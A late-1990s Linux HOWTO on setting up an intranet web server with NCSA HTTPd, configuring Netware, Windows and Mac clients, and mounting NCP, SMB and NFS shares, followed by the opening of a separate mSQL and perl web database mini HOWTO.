                                  172.17.0.5

9.1 What is required

You will need the following software before attempting the installation.

  • the HTTP server software which can be downloaded from OneStep NCSA HTTPd Downloader at http://hoohoo.ncsa.uiuc.edu/docs/setup/OneStep.html page.
  • The Novell Netware Client available from HTTP://support.novell.com/ (The TCP/IP files are included with the client).
  • The Microsoft TCP/IP client available from HTTP://www.microsoft.com/
  • The Apple MacTCP client available from HTTP://www.apple.com/
  • WWW Browsers like Netscape at HTTP://home.netscape.com/ or MS Internet Explorer at HTTP://www.microsoft.com/ or NCSA Mosaic from http://www.ncsa.uiuc.edu/SDG/Software/Mosaic/NCSAMosaicHome.html

9.2 New versions of this document

New versions of the Linux Intranet Server HOWTO will be periodically posted to comp.os.linux.announce and comp.os.linux.help. They will also be uploaded to various Linux FTP sites, including sunsite.unc.edu.

The Latest version of this document is available in HTML format at http://www.linuxports.com/

9.3 Feedback

If you have questions or comments about this document, please feel free to mail Mr. Poet, at poet@linuxports.com. Suggestions, criticism and mail are always welcome. If you find a mistake with this document, please let me know so I can correct it in the next version. Thanx.


Linux WWW HOWTO : Install the HTTP server

 Next Previous Contents

10. Install the HTTP server

When you download the server you have two options: To get the source and compile it yourself, or get the precompiled binaries. The precompiled binaries for Linux (ELF) version are available at NCSA but not the older versions.

10.1 Preparation before downloading

The server at NCSA will guide you through the steps for configuration options and prepare the various files for you. But before you attempt to download HTTPd be prepared with answers to the following questions

The Operating System

First, you must choose whether to download the source or a pre-compiled version of the software. If your particular system doesn't appear in the menu, then you will have to get the default source, and compile it yourself.

To check the version of your Linux go to the command prompt on your Linux machine and type

  linux:~$  uname -a
which will respond with a line which looks similar to this
   linux:~$  uname -a
   Linux linux 2.0.29 #4 Tue Sep 13 04:05:51 CDT 1994 i586
   linux:~$

The version of Linux is 2.0.29.

The remaining parameters can be specified before downloading or configured later by modifying the file srm.conf in the /usr/local/etc/httpd/conf directory. The names of the actual directives that appear in the file httpd.conf are shown in brackets. The only exception is the directive DocumentRoot which appears in the file srm.conf

Process type (ServerType)

This specifies how your machine will run your HTTPd server. The preferred method is "standalone". This makes the HTTP daemon to be running constantly. If you choose to load HTTPd under "inetd", the server binary will be reloaded into memory for every request, which may slow your server down.

Binding Port (Port)

This specifies which port of your machine that the HTTPd daemon will bind to and listen for HTTP requests. If you can login as "root", use the default setting of 80. Otherwise choose a setting between 1025 and 65535.

Server user identity (User)

This is the user id the server will change to when answering requests and acting on files.This question needs to be answered only if you are running the server as "standalone". If you are someone without root permissions, just use your own login name. If you are system administrator, you might want to create a special user so you can control file permissions.

Server group identity (Group)

This is the group id the server will change to when answering requests and acting on files. This is similar to Server User identity and is applicable only if you are running the server as standalone.

If you do not have root permissions, just use the name of your primary group. You can find out your group by typing groups at the Linux command prompt.

Server administrator email address (ServerAdmin)

This is the email address that the user should send an email message to when reporting a problem with the server. You can put your personal e-mail address.

Location of server directory (ServerRoot)

This is where the server resides on your system. If you have root permissions leave it in its recommended location /usr/local/etc/httpd. If you cannot login as root, choose a subdirectory in your home path. You can find out the path of your home directory with the pwd command.

Location of HTML files (DocumentRoot)

This is where the HTML files to be served are located. The default location is /usr/local/etc/httpd/htdocs. You could however set it to be the home directory of the special user you chose in Server user identity, or a subdirectory in your home directory if you can't login as root.

When in doubt, use the default settings. Now that you have answers to the above questions you can Download NCSA HTTPd at http://hoohoo.ncsa.uiuc.edu/docs/setup/OneStep.html. You should read the HTTPd Documentation at http://hoohoo.ncsa.uiuc.edu/docs/ before you attempt installation. If you are planning to compile the code then you need to modify the makefiles in each of the th ree directories support, src, cgi-src. If your version of Linux is already supported then you just have to type make linux at the top level directory (i.e. /usr/local/etc/httpd)

10.2 Compiling HTTPd

Compiling is simple, just type make linux at the prompt in the server root directory. Note: Users of pre-ELF Linux have to uncomment #define NO_PASS in file portability.h and set DBM_LIBS= -ldbm in the Makefile before compiling HTTPd.


Linux WWW HOWTO : Testing HTTPd

 Next Previous Contents

11. Testing HTTPd

After you have installed HTTPd, login as root and start it by typing httpd & . (assuming you have installed as standalone) You should now be able to see it in the list generated by ps. The simplest way to test HTTPd is by Telnet. At the Linux command prompt type

   linux:~$  telnet 172.16.0.1 80
where 80 is the default port for HTTP. If you have configured "Port" as something different then type that number instead. You should get a response which looks like this
   Trying 172.16.0.1...
   Connected to linux.mydomain.
   Escape character is '^]'.
Now if you type in any character and press Enter you should get a response similar to the one shown below.
   HTTP/1.0 400 Bad Request
   Date: Wed, 10 Jan 1996 10:24:37 GMT
   Server: NCSA/1.5
   Content-type: text/html

   <HEAD><TITLE>400 Bad Request < /TITLE> < /HEAD>
   <BODY><H1>400 Bad Request < /H1>
   Your client sent a query that this server could
   not understand.<P>
   Reason: Invalid or unsupported method.<P>
   < /BODY>

Now we are ready to connect to this server using another PC and a WWW Browser.


Linux WWW HOWTO : Connecting to the Linux Server

 Next Previous Contents

12. Connecting to the Linux Server

Please refer to the diagram shown in the chapter <@@ref>IntroIntroduction for the addressing scheme used. Workstation 1 (W/S1) is on network 172.16.0.0 and can access the Linux server directly whereas Workstation 2 (W/S2) is on network 172.17.0.0 and needs to use the gateway (router) 172.17.0.254 to access the Linux box. This gateway information needs to be provided while configuring the clients only on W/S2. Netware refers to the gateway as 'ip_router'.

I am using W/S2 to illustrate the client setup. To setup W/S1 just change the address 172.17.0.5 to 172.16.0.5 and ignore all references to the gateway/router.

If you do not have a router you can skip the next section and proceed to

  • Setup Netware Server if you use a Netware server.
  • Setup MS Windows Client if you use the Microsoft Client.

12.1 Setup the Linux server

You may skip this section if you do not have a router.

You have to configure the Linux server to recognise the router thus allowing Workstation 2 to connect to the Web server. In order to setup the Linux server you should login as root. At the server prompt type

   route add gw default 172.16.0.254
To use this gateway everytime you boot the Linux server edit the file /etc/rc.d/rc.inet1 and change the line containing the gateway definition to GATEWAY = "172.16.0.254". Make sure the line for adding the gateway is not commented out.

ALT: You can add routes to the networks on the other side of the router. This would be done as

   route add -net 172.17.0.0 gw 172.16.0.254
To add this route everytime you boot Linux add the command to your /etc/rc.d/rc.local file.

12.2 Setup the Netware server

In order to setup the Netware server you should have Supervisor permissions or atleast Console operator permissions. If these cannot be got, try asking your Network Administrator to help you with the setup. At the Server enable the Ethernet_II frame type on the LAN by typing these commands or include them in the AUTOEXEC.ncf file.

   load NE2000 frame=Ethernet_II name=IPNET
   load TCPIP
   bind IP to IPNET addr=172.16.0.2 mask=FF.FF.FF.0

You might have to specify the slot or board number while loading the NE2000 driver depending on your machine configuration. (eg: load NE2000 slot=3 frame=.....)

12.3 Setup the Netware Client

On the PC you have the choice of Win3.1,WFWG or Win95. The installation procedure differs between Win95 and the older windows if you are using the 32bit client from Microsoft or Novell. If you are going to use the 16bit client, the procedure is the same and you can refer to the Windows 3.x installation instructions. For installing the 32bit client for Win95 skip to Windows 95 installation.

Windows 3.x

If you are using Win3.1 or WFWG you can install the Netware Client (VLMs) and some additional files which are provided with the TCP/IP diskette, namely

TCPIP.exe, VTCPIP.386, WINSOCK.dll and WLIBSOCK.dll

Note that the WINSOCK.dll file is different from the ones provided with Win95 and Trumpet. Install the Netware Client with the support for windows. Copy VTCPIP.386, WINSOCK.dll and WLIBSOCK.dll to the SYSTEM directory and TCPIP.exe to the NWCLIENT directory. Now modify the STARTNET.bat in the NWCLIENT directory to

   lsl
   ne2000     ---> your network card driver
   c:\windows\odihlp.exe     ---->if you are using WFWG
   ipxodi
   tcpip        ---> add this line
   nwip         ---> if you use Netware/IP
   vlm

Create a subdirectory (say) \NET\TCP and copy the files HOSTS, NETWORKS, PROTOCOLS and SERVICES from /etc on your Linux server or the directory SYS:ETC on your Netware server. Edit the copied HOSTS file to add the line for your new Linux server. This will enable you to refer to the Linux server as http://linux.mydomain/ instead of http://172.16.0.1/in your WWW browser

   127.0.0.1      localhost
   172.16.0.1      linux.mydomain

Edit the NET.cfg file in NWCLIENT directory

   Link Driver NE2000
       port 300
       int 3
       MEM D0000
       FRAME Ethernet_802.2

; ---- add these lines ----

      FRAME Ethernet_II

   Protocol TCPIP
      PATH TCP_CFG C:\NET\TCP
      ip_address  172.17.0.5
      ip_netmask  255.255.255.0
      ip_router   172.17.0.254     ---> add the address of your gateway only
                                  ---> if you have to use this
                                  ---> gateway to reach your HTTP server

   Link Support
      MemPool 6192       ---> the minimum is 1024. Try with different values
      Buffers 10 1580    ---> this again can be fine tuned

;---------------------------------
; You may need to add lines like these if you are using Netware/IP
;
   NWIP
      NWIP_DOMAIN_NAME  mydomain
      NSQ_BROADCAST   ON
      NWIP1_1 COMPATIBILITY   OFF
      AUTORETRIES     1
      AUTORETRY SECS  10
Edit the SYSTEM.ini file in the WINDOWS directory and add this entry for VTCPIP.386
   [386Enh]
   .....
   network=*vnetbios, vipx.386, vnetware.386, VTCPIP.386
   .....

Reboot your PC, run STARTNET.bat and you can now use your favorite WWW browser to access your Web pages. You need not login to Netware and you don't have to run TCPMAN (if you use Trumpet Winsock).

Windows 95

This section explains how to install the 32bit client on Win95. Firstly you must install the following

   Client for Netware Networks (from Microsoft or Novell)
   Microsoft TCP/IP Protocol
   Network Adapter

To install these items, click on My Computer, Control Panel, Networks. Click Add. You will now be in a window that displays Client, Adapter, Protocol and Service. To install the Client for Netware Networks:

  1. DoubleClick on Client
  2. Click on Microsoft or Novell
  3. DoubleClick on Client for Netware Networks

To install the TCP/IP Protocol:

  1. DoubleClick on Protocol
  2. Click on Microsoft
  3. DoubleClick on TCP/IP

Windows 95 by default installs several other protocols automatically. Remove them by clicking on them and clicking the Remove button. Typically Win95 installs the Microsoft NetBeui protocol, and IPX/SPX compatible protocol. You can delete the NetBEUI protocol, but you will need the IPX/SPX protocol if you wish to login to the Netware Server.

To setup TCP/IP click on TCP/IP, click on Properties, click on the tab IP address

  Enter your IP address in the "Specify an IP address "
                        box as 172.17.0.5
  In the Subnet Mask box enter 255.255.255.0
select the tab Gateway
  Enter your gateway (router) address in the box New gateway
     as 172.17.0.254
  Click the Add button
The gateway address should now appear under the installed gateways box. Now Click OK.

You should get a message to reboot. Do so. You should now be able to use the Browser to connect to your HTTP Server.

12.4 Setup Microsoft Client

If you are using the Microsoft Client for accessing your network, then this section details how to install TCP/IP for

  • Windows for Workgroups (WFWG)
  • Windows 95
  • Windows NT 4.0
Note: To enable you to refer to the Linux server as http://linux.mydomain/ instead of http://172.16.0.1/ in the WWW browser and all your intranet commands you need to edit the hosts file. You can add more entries for each of your other hosts (Netware, Unix, WinNT) as well. The Windows family keeps its HOSTS file in \WINDOWS or in \WINDOWS\SYSTEM depending on the version. Edit this file and add a line for your Linux server as:
   127.0.0.1      localhost
   172.16.0.1     linux.mydomain

   172.16.0.2     netware.mydomain
   172.16.0.3     winNT.mydomain
   172.16.0.5     ws_1

Windows for Workgroups

This section explains how to install the 32bit client on WFWG. Firstly you must download the TCP/IP drivers for Windows from Microsoft. The current version is 3.11b and is available at ftp://ftp.microsoft.com or other sites as tcp32b.exe. Make sure that you have load Win32s before trying to load the TCP/IP-32bit driver.

Having expanded the TCP/IP files into a temporary directory (say C:\TEMP), check your \WINDOWS\SYSTEM directory for copies of OEMSETUP.INF. If there are any, rename them. Now copy the OEMSETUP.INF file from the TEMP directory to the \WINDOWS\SYSTEM directory. If you have loaded any other TCP/IP stacks on your system, please remove them before you proceed.

Start Network Setup or Windows Setup/Change Network settings

    Click the Networks button
    Click Install Microsoft Windows Network.
      Choose support for additional networks (if required)
    Click OK
You should be prompted for your network adapter - select the appropriate one. If you are not prompted, then
     Click the Adapter button
         select an adapter (say NE2000)
         Click OK
     Click the Protocol button
         select the MS TCP/IP-32 protocol
         click OK
You will now be prompted to configure the TCP/IP protocol stack. You can always reconfigure this by highlighting the TCP/IP protocol shown in the box Adapters and clicking the Setup button.
   In the IP address box enter 172.17.0.5
   In the Subnet Mask box enter 255.255.255.0
   Enter your gateway (router) address in the box default gateway
     as 172.17.0.254
Click OK. The computer will ask you to restart. Do so. You should now be able to use the Browser to connect to your HTTP Server.

Windows 95

This section explains how to install the 32bit client for Microsoft on Win95. Firstly you must install the following

   Client for Microsoft Networks
   Microsoft TCP/IP Protocol
   Network Adapter

To install these items, click on My Computer, Control Panel, Networks. Click Add. You will now be in a window that displays Client, Adapter, Protocol and Service. To install the Client for Microsoft Networks:

  1. DoubleClick on Client
  2. Click on Microsoft
  3. DoubleClick on Client for Microsoft Networks

To install the TCP/IP Protocol:

  1. DoubleClick on Protocol
  2. Click on Microsoft
  3. DoubleClick on TCP/IP

Windows 95 by default installs several protocols automatically. Remove them by clicking on them and clicking the Remove button. Typically Win95 installs the Microsoft NetBeui protocol.

To setup TCP/IP click on TCP/IP, click on Properties, click on the tab IP address

  Enter your IP address in the "Specify an IP address "
                        box as 172.17.0.5
  In the Subnet Mask box enter 255.255.255.0
select the tab Gateway
  Enter your gateway (router) address in the box New gateway
     as 172.17.0.254
  Click the Add button
The gateway address should now appear under the installed gateways box. Now Click OK.

You should get a message to reboot. Do so. You should now be able to use the Browser to connect to your HTTP Server.

Windows NT

This section details how to Install the TCP/IP client for WinNT 4.0. Start Control Panel/ Network

    Select the Adapter tab.
        Click Add to add a new adapter (if you don't have one)
You should be prompted for your network adapter - select the appropriate one. To add the protocols.
    Select the Protocols tab
        Click Add
        Select the TCP/IP protocol
        Click OK
You will now be prompted to configure the TCP/IP protocol stack. You can always reconfigure this by highlighting the TCP/IP protocol and clicking the Properties button.
   Select the tab IP Address
      Mark the checkbox 'Specify an IP address'
      In the IP address box enter 172.17.0.5
      In the Subnet Mask box enter 255.255.255.0
      Enter your gateway (router) address in the box Default Gateway
          as 172.17.0.254
Click OK. The computer will ask you to restart. You can now use any Browser to connect to your HTTP Server.

12.5 Setup TCP/IP on Macintosh

If you are using the Macintosh for accessing your network, then this section details how to install MacTCP for the PowerMacs.

Note: To enable you to refer to the Linux server as http://linux.mydomain/ instead of http://172.16.0.1/ in the WWW browser and all your intranet commands you need to edit the hosts file. The format of the hosts file is different from the one used in Unix. The Mac hosts file is based on RFC-1035. You can add more entries for each of your other hosts (Netware, Unix, WinNT) as well. The MacOS keeps its HOSTS file in the Preferences folder under the System folder. Edit this file and add a line for your Linux server as:

  linux.mydomain    A  172.16.0.1

  netware.mydomain  A  172.16.0.2
  winNT.mydomain    A  172.16.0.3
  ws_1              A  172.16.0.5

MacTCP

This section explains how to install MacTCP. Firstly you must download the MacTCP files from Apple or install it from the Internet Connection CD. To configure MacTCP, click the Apple Menu/ Control Panels/ TCP/IP. In the screen change the setting for 'Connect via:' to 'Ethernet'

Change the 'Configure' setting to 'Manually'

  In the IP address box enter 172.17.0.5
  In the Subnet Mask box enter 255.255.255.0
  Enter your gateway (router) address in the box
    Router address as 172.17.0.254
Click OK. You should now be able to use the Browser to connect to your HTTP Server.


Linux WWW HOWTO : Setting up the Intranet

 Next Previous Contents

13. Setting up the Intranet

An Intranet cannot be complete without sharing the resources on the different platforms. You will need support for other filesystems, so that you can access the data available on them. This document provides instructions to connect Linux to the following popular filesystems.

  • NCP filesystem for Netware
  • SMB filesystem for Windows
  • NFS filesystem for Unix

These filesystems can be compiled into the Linux kernel or added as modules, depending on the version of Linux. If you are not familiar with compiling the kernel you can refer to the Kernel HOWTO http://sunsite.unc.edu/mdw/HOWTO/Kernel-HOWTO.html and the Module HOWTO http://sunsite.unc.edu/mdw/HOWTO/Module-HOWTO.html for compiling the kernel with modules.

13.1 NCPFS

To share the files on the Netware server you will need support for NCP (ncpfs). NCPFS works with kernel version 1.2.x and 1.3.71 upwards. It does not work with any earlier 1.3.x kernel. It cannot access the NDS database in Netware 4.x, but can make use of the bindery. If you are using Netware 4.x you can enable bindery support for specific containers using the command Set Bindery Context at the console as:

  set Bindery Context = CORP.MYDOM;WEBUSER.MYDOM
In the above example two containers have bindery support enabled.

You will need to download the NCP filesystem utilities using the URL ftp://sunsite.unc.edu/pub/Linux/system/filesystems/ncpfs/ncpfs.tgz (currently ncpfs-2.0.10) from Sunsite.

Installation

To install the ncpfs utilities, type

   zcat ncpfs.tgz | tar xvf -
to expand the files into its own directory. In this case you will get a directory ncpfs-2.0.10 Change your directory to this ncpfs directory before proceeding with the installation. Read the README and edit the Makefile if necessary.

The installation of ncpfs depends on the kernel version you are using. For kernel 1.2, you should simply type 'make'. Subsequently typing 'make install' will install the executables and man pages.

If you use Kernel 1.3.71 or later, you might have to recompile your kernel. With these kernels, the kernel part of ncpfs is already included in the main source tree. To check if the kernel needs to be recompiled type

   cat /proc/filesystems
It should show you a line saying that the kernel knows ncpfs.

If ncpfs is not there, you can either recompile the kernel or add ncpfs as a module. For recompiling the kernel you should type 'make config' and when it asks you for

The IPX protocol (CONFIG_IPX) [N/y/?]

simply answer 'y'. Probably you do not need the full internal net that you are asked for next. Once the kernel is successfully installed, reboot, check /proc/filesystems and if everything is OK proceed with the installation of the ncpfs utilities. Change directory to the location holding your downloaded ncpfs files, and type 'make'. After the compilation is finished type 'make install' to install the various utilities and man pages.

Mounting NCPFS

To check the installation type

   ipx_configure --auto_interface=on --auto_primary=on

....wait for 10 seconds and type

   slist
You should be able to see a list of your Netware servers. Now we are ready to share files from the Netware server.

Suppose we need to access HTML files from directory \home\htmldocs on volume VOL1: on the server MYDOM_NW, I recommend that you create a new user (say) 'EXPORT' with password 'EXP123' on this server to whom you grant appropriate access rights to this directory using SYSCON or NWADMIN.

On the Linux machine create a new directory /mnt/MYDOM_NW. Now type the command

   ncpmount -S MYDOM_NW -U EXPORT -P EXP123 /mnt/MYDOM_NW
to mount the netware file system. Typing the command
   ls /mnt/MYDOM_NW/vol1/home/htmldocs
will show you a list of all the files in MYDOM_NW/VOL1:\HOME\HTMLDOCS (using Netware file notation). If you have any problems please read the IPX HOWTO at http://sunsite.unc.edu/mdw/HOWTO/IPX-HOWTO.html for more insights into the IPX system.

13.2 SMBFS

To share the files on the Windows server you will need support for SMB (smbfs).

You will need to download the SMB filesystem utilities from ftp://sunsite.unc.edu/pub/Linux/system/filesystems/smbfs/smbfs.tgz (currently smbfs-2.0.1) from Sunsite.

Installation

To install the smbfs utilities, type

   zcat smbfs.tgz | tar xvf -
to expand the files into its own directory. In this case you will get a directory smbfs-2.0.1 Change your directory to this smbfs directory before proceeding with the installation. Read the README and edit the Makefile if necessary.

The installation of smbfs depends on the kernel version you are using. For kernel 1.2, you should simply type 'make'. Subsequently typing 'make install' will install the executables and man pages.

If you use Kernel 2.0 or later, you might have to recompile your kernel. With these kernels, the kernel part of smbfs is already included in the main source tree. To check if the kernel needs to be recompiled type

   cat /proc/filesystems
It should show you a line saying that the kernel knows smbfs.

If smbfs is not there, you can either recompile the kernel or add smbfs as a module. For recompiling the kernel you should type 'make config' and when it asks you for adding SMB filesystem support simply answer yes. Once the kernel is successfully installed, reboot, check /proc/filesystems and if everything is OK proceed with the installation of the smbfs utilities. Change directory to the location holding your downloaded smbfs files, and type 'make'. After the compilation is finished type 'make install' to install the various utilities and man pages.

Mounting SMBFS

In our example let us assume that the WinNT server is called 'MYDOM_NT' and is sharing its directory C:\PUB\HTMLDOCS with a share name of 'HTMLDOCS' without a password. On the Linux machine create a new directory /mnt/MYDOM_NT. Now type the command

   smbmount //MYDOM_NT/HTMLDOCS /mnt/MYDOM_NT -n

to mount the SMB (windows share) file system. If this does not work try

   smbmount //MYDOM_NT/COMMON /mnt/MYDOM_NT -n -I 172.16.0.3

Typing the command

   ls /mnt/MYDOM_NT
will show you a list of all the files in bsol;bsol;MYDOM_NT\PUB\HTMLDOCS (using Windows file notation).

13.3 NFS

First you will need a kernel with the NFS file system either compiled in or available as a module.

Suppose you have a Unix host running NFS with the name MYDOM_UNIX and an IP address of 172.16.0.4. You can check the directories that are being exported (shared) by this host by typing the command

   showmount -e 172.16.0.4
Once we know the exported directories you can mount them by entering a appropriate mount command. I recommend that you create a subdirectory under '/mnt' (say) 'MYDOM_UNIX' and use that as your mount point.

   mount -o rsize=1024,wsize=1024 172.16.0.4:/pub/htmldocs /mnt/MYDOM_UNIX
The rsize and wsize may have to be changed depending on your environment.

If you have any problems please read the NFS HOWTO at http://sunsite.unc.edu/mdw/HOWTO/NFS-HOWTO.html for more insights into the NFS system.


Linux WWW HOWTO : Accessing the Web

 Next Previous Contents

14. Accessing the Web

Now that we have setup the HTTP server, the clients and interconnected the Linux server with the other servers, we need to make some small adjustments on the Linux server to be able to access these mounted filesystems from the Web Browser.

14.1 Accessing the mounted filesystems

To access the mounted directories in your HTML pages you have two methods:

  • Create a link in DocumentRoot (/usr/local/etc/httpd/htdocs) to refer to the mounted directory as
       ln -s /mnt/MYDOM_NW/vol1/home/htmldocs netware
                     or

   ln -s /mnt/MYDOM_NT    winNT
                     or

   ln -s /mnt/MYDOM_UNIX    unix
  • to edit the file srm.conf in your /usr/local/etc/httpd/conf directory and add a new alias.

  # Alias fakename realname
  Alias /icons/     /usr/local/etc/httpd/icons/

  # alias for netware server
  Alias /netware/   /mnt/MYDOM_NW/vol1/home/htmldocs/
  Alias /winNT/     /mnt/MYDOM_NT/
  Alias /unix/      /mnt/MYDOM_UNIX
And restart your HTTPd. You can access the documents on the netware server by referring to them as http://linux.mydomain/netware/index.htm for the netware files and similar notations for the others.

14.2 Connecting to the Internet

You can finally connect your Intranet to the Internet to access E-Mail and all the wonderful information out there. I propose to write a brief note on how to do this in a future revision. Detailed explanations are available in the ISP Hookup HOWTO from http://sunsite.unc.edu/mdw/HOWTO/ISP-Hookup-HOWTO.html and Diald mini HOWTO at http://sunsite.unc.edu/mdw/HOWTO/mini/Diald for setting up these connections.

14.3 Other uses

The HTTP server can be used in the office to provide transparent access to information residing on different servers, at several locations and directories. The data can be simple documents in Word, Lotus spreadsheets, or complex databases.

The application of this technology is being typically used as follows:-

  • Publishing corporate documents

    These documents can include newsletters, annual reports, maps, company facilities, price lists, product information literature, and any document which is of value within the corporate entity.

  • Access into searchable directories

    Rapid access to corporate phone books and the like. This data can be mirrored at a Web site or, via CGI scripts, the Web server can serve as a gateway to back-end pre-existing or new applications. This means that, using the same standard access mechanisms, information can be made more widely available and in a simpler manner. This means that it can be used to create an interface with RDBMS like ORACLE and SYBASE for generating real-time information. Here is a list of links to such sites on the Web.

    - Web Access - http://cscsun1.larc.nasa.gov/~beowulf/db/web_access.html - CGI gateways - HTTP://www.w3.org/hypertext/WWW/RDBGate/Overview.html

  • Corporate/Department/Individual pages

    As cultures change within organistions to the point where even each department moves towards their own individual mission statements, the Intranet technology provides the ideal medium to communicate current information to the Department or Individual. Powerful search engines provide the means for people to find the group or individual who has the answers to the continuous questions which arise in the normal day-to-day course of doing business.

  • Simple Groupware applications

    With HTML forms support, sites can provide sign-up sheets, surveys and simple scheduling.

  • Software distribution

    Administrators can use the Intranet to deliver software and up-dates on-demand to users across the corporate network . This can be done with 'Java' which allows the creation and transparent distribution of objects on-demand rather than just data or applications. This is indeed possible more easily with the newer versions of Linux which has builtin support for Java.

  • Mail

    With the move to the use of Intranet mail products with standard and simple methods for attachment of documents, sound, vision and other multimedia between individuals, mail is being pushed further forward as a simple, de facto communications method. Mail is essentially individual to individual, or individual to small group, communication. Several utilities are available on the Linux platform to setup an E-mail system like sendmail, pop3d, imapd.

  • User Interface

    The Intranet technology is evolving so rapidly that the tools available, in particular HTML, can be used to dramatically change the way we interface with systems. With HTML you can build an Interface which is only limited by the creators imagination. The beauty about using Intranet technologies for this is that it is so simple. Clicking a hyperlink from HTML can take you to another page, it could ring an alarm, run a yearend procedure or anything else that a computer program can do.


Linux WWW HOWTO : More things to do

 Next Previous Contents

15. More things to do

Here is a list of other interesting things to do with your Linux Intranet server. All the software mentioned below is freeware or shareware.

  • Browse the Linux server using Network Neighbourhood in Win95/ NT; Setup a WINS like NBT server. Check out the SAMBA Web page at http://lake.canberra.edu.au/pub/samba/samba.html
  • Implement a search engine on your Intranet. Connect to ht://Dig at http://htdig.sdsu.edu/
  • Use CUSeeMe by setting up a local reflector. Refer to their page at Cornell http://cu-seeme.cornell.edu/
  • Setup Web Conferencing. Use COW from http://thecity.sfsu.edu/COW/
  • Deploy a SQL database. Refer to the mSQL Home page at http://Hughes.com.au/
  • Setup FTP,Gopher,Finger,Bootp servers on the Netware server. Get them at http://mft.ucs.ed.ac.uk/
  • Emulate a Netware server. Check out the NCP Utilities at ftp://sunsite.unc.edu/pub/Linux/system/filesystems/ncpfs/
If you find other interesting things to do with your Linux Intranet server, please feel free to mail me.


Linux WWW HOWTO : Credits and Legalities

 Next Previous Contents

16. Credits and Legalities

16.1 Thanks

Thanks to the people at NCSA for providing such excellent documentation, David Anderson and all others for trying out this HOWTO and sending in their comments. The details on Netware/IP are courtesy Romel Flores (rom@mnl.sequel.net).

16.2 Copyright information

This document is copyrighted © 1999 {Poet} and LinuxPorts, it is distributed under the following terms:

  • Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.
  • All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.
  • If you have questions, please contact Tim Bynum, the Linux HOWTO coordinator, at linux-howto@sunsite.unc.edu Finger for phone number and snail mail address.


Linux WWW HOWTO : For further reading

 Next Previous Contents

17. For further reading

17.1 O'Reilly & Associates Books

In my humble opinion O'Reilly & Associates make the best technical books on the planet. They focus mainly on Internet, Unix and programming related topics. They start off slow with plenty of examples and when you finish the book your an expert. I think you could get by if you only read half of the book. They also add some humor to otherwise boring subjects.

They have great books on HTML, PERL, CGI Programming, Java, JavaScript, C/C++, Sendmail, Linux and much much more. And the fast moving topics (like HTML) are updated and revised about every 6 months or so. So visit the O'Reilly & Associates web site or stop by your local book store for more info.

And remember if it doesn't say O'Reilly & Associates on the cover, someone else probably wrote it.

17.2 Internet Request For Comments (RFC)

  • RFC1866 written by T. Berners-Lee and D. Connolly, "Hypertext Markup Language - 2.0", 11/03/1995
  • RFC1867 writtenm by E. Nebel and L. Masinter, "Form-based File Upload in HTML", 11/07/1995
  • RFC1942 written by D. Raggett, "HTML Tables", 05/15/1996
  • RFC1945 by T. Berners-Lee, R. Fielding, H. Nielsen, "Hypertext Transfer Protocol -- HTTP/1.0", 05/17/1996.
  • RFC1630 by T. Berners-Lee, "Universal Resource Identifiers in WWW: A Unifying Syntax for the Expression of Names and Addresses of Objects on the Network as used in the World-Wide Web", 06/09/1994
  • RFC1959 by T. Howes, M. Smith, "An LDAP URL Format", 06/19/1996


A mSQL and perl Web Server Mini HOWTO

Oliver Corff, corff@zedat.fu-berlin.de

v0.1, 17 September 1997

This Mini HOWTO, highly inspired by Michael Schilli's article Gebunkert: Datenbankbedienung mit Perl und CGI, published in the german computer magazine iX 8/1997, describes how to build a SQL client/server database using WWW and HTML for the user interface.

1. About this Document

  • 1.1 Intended Audience
  • 1.2 Conventions used in this text

2. Introduction

3. Installation Procedure

  • 3.1 Hardware Requirements
  • 3.2 Software Requirements
  • 3.3 Installing the Operating System
  • 3.4 The http Server
  • 3.5 The Browsers
  • 3.6 Cooperation of Apache and Browsers
  • 3.7 The Database Engine and its Installation
  • 3.8 Choice of Interfaces: DBI/mSQL, MsqlPerl, and Lite
  • 3.9 Going the generic way: DBI and DBD-msql
  • 3.10 The MsqlPerl Interface
  • 3.11 perl's CGI library
  • 3.12 Installation Checklist

4. Running an Example Database

  • 4.1 Adapting the sample script for MsqlPerl
  • 4.2 Adapting the sample script for msql-2

5. Conclusion and Outlook


A mSQL and perl Web Server Mini HOWTO: About this Document

 Next Previous Contents

1. About this Document

1.1 Intended Audience

Everybody who wants to install a web server database but does not know which software is necessary and how it is installed should benefit from reading this text. This text provides all information necessary to get a SQL database for a web server going; it does not go into any detail of CGI programming, nor does it explain the SQL database language. Excellent books are available on both topics, and it is the intention of this text to provide a working platform based on which a user can then study CGI programming and SQL.

For getting a small scale SQL system running (not the notorious example of a major airline booking system, or space mission management database) it will be sufficient to have the software described in this text and the documentation accompanying it. The user manual of msql (a database introduced in this text) provides sufficient information on SQL for building your own database.

The reader of this text should have a working knowledge of how to obtain files via ftp if he has no access to CD-ROMs, and a basic understanding of how to build binaries from sources. Anyway, all steps explained in this text were tested on a real life system and should also work on the reader's system.

1.2 Conventions used in this text

A user command:

# make install

Screen output from a program:

Program installed. Read README for details on how to start.

Sample code of a file:

# My comment
char letter;


A mSQL and perl Web Server Mini HOWTO: Introduction

 Next Previous Contents

2. Introduction

It can be safely assumed that databases with a high volume of data or a complicated relational setup (like, perhaps, a lexical database for a living language) must be accessible to many users and operators at the same time. Ideally, it should be possible to use existing different hardware and software platforms that can be combined into the actual system. In order to reduce the implementation cost, only one system, the database server, needs to be powerful; the user stations typically just display data and accept user commands, but the processing is done on one machine only which led to the name client-server database. In addition, the user interface should be easy to maintain and should require as little as possible on the client side.

A system which meets these criteria can be built around the following items of protocols, concepts and software:

Linux

supplies the operating system. It is a stable Unix implementation providing true multi-user multi-tasking services with full network (TCP/IP e. a.) support. Except from the actual media and transmission cost, it is available free of charge and comes in form of so-called distributions which usually include everything needed from the basic OS to text processing, scripting, software development, interface builders, etc.

HTML

is the Hypertext Markup Language used to build interfaces to network systems like Intranets and the WWW, the World Wide Web. HTML is very simple and can be produced with any ASCII-capable text editor.

Browsers

are text-based (e. g. Lynx) or graphical (e. g. Mosaic, Netscape, Arena etc.) applications accepting, evaluating and displaying HTML documents. They are the only piece of software which is directly operated by the database user. Using browsers, it is possible to display various types of data (text, possibly images) and communicate with http servers (see next) on about every popular computer model for which a browser has been made available.

http servers

provide access to the area of a host computer where data intended for public use in a network are stored. They understand the http protocol and procure the information the user requests.

SQL

